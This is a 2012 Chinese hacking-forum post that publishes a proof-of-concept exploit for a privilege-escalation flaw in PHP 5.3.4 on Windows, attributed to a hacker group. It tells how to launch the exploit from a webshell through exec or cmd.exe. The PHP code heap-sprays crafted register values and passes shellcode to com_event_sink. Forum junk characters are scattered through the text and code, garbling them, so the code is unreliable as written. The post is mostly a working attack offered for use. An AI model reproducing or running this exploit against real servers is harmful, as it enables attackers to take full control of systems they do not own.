找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2060|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
" ~; O5 D% m0 Z; c3 Y6 Y9 j- ]& _# d, g
测试方法如下:cmd /c x:\php\php.exe x:\test.php
% [, }0 k0 n+ K0 e2 F6 i- x" s+ F1 L+ M! Q
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php6 j9 O7 H/ h  m& }# D
这里是两个测试的截图:  x" _2 j5 \  t  m) c7 K6 {

  V& k( g8 ^5 e8 v# U: B
9 e9 O# J/ z/ u9 J1 `" O7 H& }: E! @7 N, q) X: y
! m3 N4 ^" V9 Q5 D9 z' P" X; e/ q
; X2 N. N" l. x1 X5 O1 Z5 r4 ^
成功利用此漏洞的攻击者将获得系统的最高权限- ~% F( _9 M3 x% ~

& ]: F( W# G, y) m* \
9 C, Q6 o% d$ Y2 m, g  n2 d
6 J' @$ Q8 I# A& d
3 U* k8 ~% _& Z  x4 H# k# E! w0 A% [
关于漏洞分析稍后附上。一下是PoC代码:
+ r# L' k; c* ^) n( S, P8 O. a, O, G% r' u4 a  W; O
<?php
% b7 w8 f3 e5 w  {//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞8 k/ O1 T/ d! G) e5 ]" ~
//$eip ="\x44\x43\x42\x41";$ Y* t, _: g( s; R# U; T0 y
$eip= "\x4b\xe8\x57\x78";
3 a: ^- a$ T$ J5 B& ^! e$eax ="\x80\x01\x8d\x04";
5 s  A1 o9 z- H( A* o7 j0 D$deodrant="";, g! J4 q8 ~1 ~# X! v: X/ U
$axespray = str_repeat($eip.$eax,0x80);: [) V$ N; d+ w" T/ `! u
//048d0190% F; Y: J+ i% u" w
echo strlen($axespray);4 _. o& @" r0 s/ @
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";, @7 }7 d0 t8 d1 H
echo "Silic Group Hacker Army - BlackBap.Org";
6 x* |& }" Z- Z//19200 ==4B32 4b00  g, e( p2 L- X: P4 P: O
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}/ i8 C3 M' V) I0 T
$terminate = "T";8 e+ F' \" B$ V6 q4 |
$u[] =$deodrant;
  _# P! i! f6 K3 x  U$r[] =$deodrant.$terminate;6 w' ^8 u+ G; ~5 ]- e
$a[] =$deodrant.$terminate;
8 i# y! c$ d- N" m" C+ t0 q1 k$s[] =$deodrant.$terminate;
  R; l1 [% U9 G+ p3 J//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的2 [3 @5 V/ H+ ~+ j
$vVar = new VARIANT(0x048d0000+180);5 U2 O$ o$ [; I( M% H
//弹窗代码(Shellcode)6 k4 J: j+ g1 I# {# Y% b6 e
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";- R& g' }/ T6 T
$var2 = new VARIANT(0x41414242);+ S% o: C2 S9 j% Y
com_event_sink($vVar,$var2,$buffer);
: ?# V) N+ L" ]?>
1 n9 Y& G9 l6 }& X! N3 \0 W7 R

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表